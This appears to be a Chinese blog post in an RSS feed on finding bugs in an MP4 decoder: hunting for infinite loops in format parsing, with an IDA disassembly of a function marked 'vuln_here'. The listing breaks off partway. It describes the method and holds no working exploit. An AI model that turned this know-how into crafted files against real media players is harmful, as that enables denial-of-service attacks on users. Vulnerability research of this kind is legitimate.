		<guid>http://hi.baidu.com/vessial/blog/item/f97423019ae0c70a728da515.html</guid>
</item>

<item>
        <title><![CDATA[MP4解码器漏洞挖掘手法]]></title>
        <link><![CDATA[http://hi.baidu.com/vessial/blog/item/f5eeac7ac046bbe52f73b396.html]]></link>
        <description><![CDATA[
		
		<div align="center" forimg="1">对于格式漏洞最容易出现的就是死循环，所以对于这种漏洞的查找方法，我个人方法是人肉（开玩笑），关注那些函数里面使用循环操作的代码，然后构造样本测试，当然首先你得确保你得让程序可以走到这里来，可以让它测试你觉得它有问题的代码，这就涉及到一个你所测试的这个程序所支持的文件格式，了解它的文件的数据结构，然后在调试的时候构造数据，测试，这样漏洞出现频率最高也就是CPU消耗100%,crash之类的，呵呵，可利用的得看人品了，呵呵.<br>
下面的这个循环，就可以构造相应的媒体文件，让它死循环。<br>
<img border="0" src="http://hiphotos.baidu.com/vessial/pic/item/081acee73615510bb8382084.jpg" small="0" class="blogimg"></div>
<br>
还有这儿<br>
.text:10005030<br>
.text:10005030 vuln_here:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  ; CODE XREF: sub_10004FF0+35 j<br>
.text:10005030&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  ; sub_10004FF0+18B j<br>
.text:10005030&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  mov&nbsp;&nbsp;&nbsp;&nbsp;  ecx, [esi+2A8h]<br>
.text:10005036&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  mov&nbsp;&nbsp;&nbsp;&nbsp;  [esp+2Ch+var_1C], 0<br>
.text:1000503E&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  mov&nbsp;&nbsp;&nbsp;&nbsp;  eax, [ecx+34h]<br>
.text:10005041&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  test&nbsp;&nbsp;&nbsp;  eax, eax<br>
.text:10005043&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  mov&nbsp;&nbsp;&nbsp;&nbsp;  ebx, 8000h<br>
.text:10005048&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  jnz&nbsp;&nbsp;&nbsp;&nbsp;  loc_10005162<br>
.text:1000504E&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  mov&nbsp;&nbsp;&nbsp;&nbsp;  eax, [ecx+30h]<br>
.text:10005051&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  test&nbsp;&nbsp;&nbsp;  eax, eax<br>
.text:10005053&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  jz&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  loc_10005162<br>
.text:10005059&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  lea&nbsp;&nbsp;&nbsp;&nbsp;  edx, [esp+2Ch+var_1C]<br>
.text:1000505D&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  push&nbsp;&nbsp;&nbsp;  edx<br>
.text:1000505E&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  call&nbsp;&nbsp;&nbsp;  sub_100089A0<br>
.text:10005063&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  cmp&nbsp;&nbsp;&nbsp;&nbsp;  eax, ebx<br>
.text:10005065&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  jl&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  loc_10005162<br>
.text:1000506B&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  lea&nbsp;&nbsp;&nbsp;&nbsp;  ebp, [esi+2B0h]<br>
.text:10005071&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  push&nbsp;&nbsp;&nbsp;  ebp&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  ; lpCriticalSection<br>
.text:10005072&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  mov&nbsp;&nbsp;&nbsp;&nbsp;  [esp+30h+var_10], ebp<br>
.text:10005076&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  call&nbsp;&nbsp;&nbsp;  ds:EnterCriticalSection<br>
.text:1000507C&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  mov&nbsp;&nbsp;&nbsp;&nbsp;  ecx, [esi+2A8h]<br>
.text:10005082&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  lea&nbsp;&nbsp;&nbsp;&nbsp;  eax, [esp+2Ch+var_1C]<br>
.text:10005086&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  push&nbsp;&nbsp;&nbsp;  eax<br>
.text:10005087&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  mov&nbsp;&nbsp;&nbsp;&nbsp;  [esp+30h+var_4], 0<br>
.text:1000508F&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  call&nbsp;&nbsp;&nbsp;  sub_100089A0<br>
.text:10005094&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  cmp&nbsp;&nbsp;&nbsp;&nbsp;  eax, ebx<br>
.text:10005096&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  jl&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  loc_10005151<br>
.text:1000509C&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  mov&nbsp;&nbsp;&nbsp;&nbsp;  edx, [esi+28Ch]<br>
.text:100050A2&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  mov&nbsp;&nbsp;&nbsp;&nbsp;  eax, [esi+284h]<br>
.text:100050A8&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  cmp&nbsp;&nbsp;&nbsp;&nbsp;  edx, eax<br>
.text:100050AA&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  mov&nbsp;&nbsp;&nbsp;&nbsp;  edi, [esi+288h]<br>
.text:100050B0&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  mov&nbsp;&nbsp;&nbsp;&nbsp;  ecx, [esi+280h]<br>
.text:100050B6&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  jg&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  short loc_100050D4<br>
.text:100050B8&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  jl&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  short loc_100050BE<br>
.text:100050BA&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  cmp&nbsp;&nbsp;&nbsp;&nbsp;  edi, ecx<br>
.text:100050BC&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  jnb&nbsp;&nbsp;&nbsp;&nbsp;  short loc_100050D4<br>
.text:100050BE<br>
.text:100050BE loc_100050BE:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  ; CODE XREF: sub_10004FF0+C8 j<br>
.text:100050BE&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  sub&nbsp;&nbsp;&nbsp;&nbsp;  ecx, edi<br>
.text:100050C0&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  sbb&nbsp;&nbsp;&nbsp;&nbsp;  eax, edx<br>
.text:100050C2&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  test&nbsp;&nbsp;&nbsp;  eax, eax<br>
.text:100050C4&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  jg&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  short loc_100050D9<br>
.text:100050C6&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  jl&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  short loc_100050D0<br>
.text:100050C8&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  cmp&nbsp;&nbsp;&nbsp;&nbsp;  ecx, 8000h<br>
.text:100050CE&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  jnb&nbsp;&nbsp;&nbsp;&nbsp;  short loc_100050D9<br>
.text:100050D0<br>
.text:100050D0 loc_100050D0:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  ; CODE XREF: sub_10004FF0+D6 j<br>
.text:100050D0&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  mov&nbsp;&nbsp;&nbsp;&nbsp;  ebx, ecx<br>
.text:100050D2&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  jmp&nbsp;&nbsp;&nbsp;&nbsp;  short loc_100050D9<br>
.text:100050D4 ; ---------------------------------------------------------------------------<br>
.text:100050D4<br>
.text:100050D4 loc_100050D4:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  ; CODE XREF: sub_10004FF0+C6 j<br>
.text:100050D4&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  ; sub_10004FF0+CC j<br>
.text:100050D4&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  mov&nbsp;&nbsp;&nbsp;&nbsp;  ebx, 800h<br>
.text:100050D9<br>
.text:100050D9 loc_100050D9:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  ; CODE XREF: sub_10004FF0+D4 j<br>
.text:100050D9&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  ; sub_10004FF0+DE j ...<br>
.text:100050D9&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  mov&nbsp;&nbsp;&nbsp;&nbsp;  eax, [esp+2Ch+var_1C]<br>
.text:100050DD&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  test&nbsp;&nbsp;&nbsp;  eax, eax<br>
.text:100050DF&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  jz&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  short loc_10005151<br>
.text:100050E1&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  lea&nbsp;&nbsp;&nbsp;&nbsp;  ecx, [esp+2Ch+var_14]<br>
.text:100050E5&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  push&nbsp;&nbsp;&nbsp;  ecx<br>
.text:100050E6&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  push&nbsp;&nbsp;&nbsp;  eax<br>
.text:100050E7&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  push&nbsp;&nbsp;&nbsp;  ebx<br>
.text:100050E8&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  push&nbsp;&nbsp;&nbsp;  edx<br>
.text:100050E9&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  push&nbsp;&nbsp;&nbsp;  edi<br>
.text:100050EA&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  lea&nbsp;&nbsp;&nbsp;&nbsp;  ecx, [esi+0D0h]<br>
.text:100050F0&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  mov&nbsp;&nbsp;&nbsp;&nbsp;  [esp+40h+var_14], 0<br>
.text:100050F8&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  call&nbsp;&nbsp;&nbsp;  sub_100066E0<br>
.text:100050FD&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  mov&nbsp;&nbsp;&nbsp;&nbsp;  edi, eax<br>
.text:100050FF&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  test&nbsp;&nbsp;&nbsp;  edi, edi<br>
.text:10005101&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  jnz&nbsp;&nbsp;&nbsp;&nbsp;  short loc_10005143<br>
.text:10005103&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  mov&nbsp;&nbsp;&nbsp;&nbsp;  ecx, [esp+2Ch+var_14]<br>
.text:10005107&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  mov&nbsp;&nbsp;&nbsp;&nbsp;  ebx, [esi+288h]<br>
.text:1000510D&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  mov&nbsp;&nbsp;&nbsp;&nbsp;  edi, [esi+28Ch]<br>
.text:10005113&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  mov&nbsp;&nbsp;&nbsp;&nbsp;  eax, ecx<br>
.text:10005115&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  cdq<br>
.text:10005116&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  add&nbsp;&nbsp;&nbsp;&nbsp;  ebx, eax<br>
.text:10005118&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  adc&nbsp;&nbsp;&nbsp;&nbsp;  edi, edx<br>
.text:1000511A&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  push&nbsp;&nbsp;&nbsp;  ecx<br>
.text:1000511B&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  mov&nbsp;&nbsp;&nbsp;&nbsp;  ecx, [esi+2A8h]<br>
.text:10005121&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  mov&nbsp;&nbsp;&nbsp;&nbsp;  [esi+288h], ebx<br>
.text:10005127&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  mov&nbsp;&nbsp;&nbsp;&nbsp;  [esi+28Ch], edi<br>
.text:1000512D&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  call&nbsp;&nbsp;&nbsp;  sub_10008A00<br>
.text:10005132&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  push&nbsp;&nbsp;&nbsp;  ebp&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  ; lpCriticalSection<br>
.text:10005133&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  mov&nbsp;&nbsp;&nbsp;&nbsp;  [esp+30h+var_4], 0FFFFFFFFh<br>
.text:1000513B&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  call&nbsp;&nbsp;&nbsp;  ds:LeaveCriticalSection<br>
.text:10005141&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  jmp&nbsp;&nbsp;&nbsp;&nbsp;  short loc_1000516A<br>
.text:10005143 ; ---------------------------------------------------------------------------<br>
.text:10005143<br>
.text:10005143 loc_10005143:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  ; CODE XREF: sub_10004FF0+111 j<br>
.text:10005143&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  cmp&nbsp;&nbsp;&nbsp;&nbsp;  edi, 1<br>
.text:10005146&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  jnz&nbsp;&nbsp;&nbsp;&nbsp;  short loc_100051C4<br>
.text:10005148&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  mov&nbsp;&nbsp;&nbsp;&nbsp;  eax, [esi+2A8h]<br>
.text:1000514E&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  mov&nbsp;&nbsp;&nbsp;&nbsp;  [eax+34h], edi<br>
.text:10005151<br>
.text:10005151 loc_10005151:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  ; CODE XREF: sub_10004FF0+A6 j<br>
.text:10005151&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  ; sub_10004FF0+EF j<br>
.text:10005151&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  push&nbsp;&nbsp;&nbsp;  ebp&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  ; lpCriticalSection<br>
.text:10005152&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  mov&nbsp;&nbsp;&nbsp;&nbsp;  [esp+30h+var_4], 0FFFFFFFFh<br>
.text:1000515A&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  call&nbsp;&nbsp;&nbsp;  ds:LeaveCriticalSection<br>
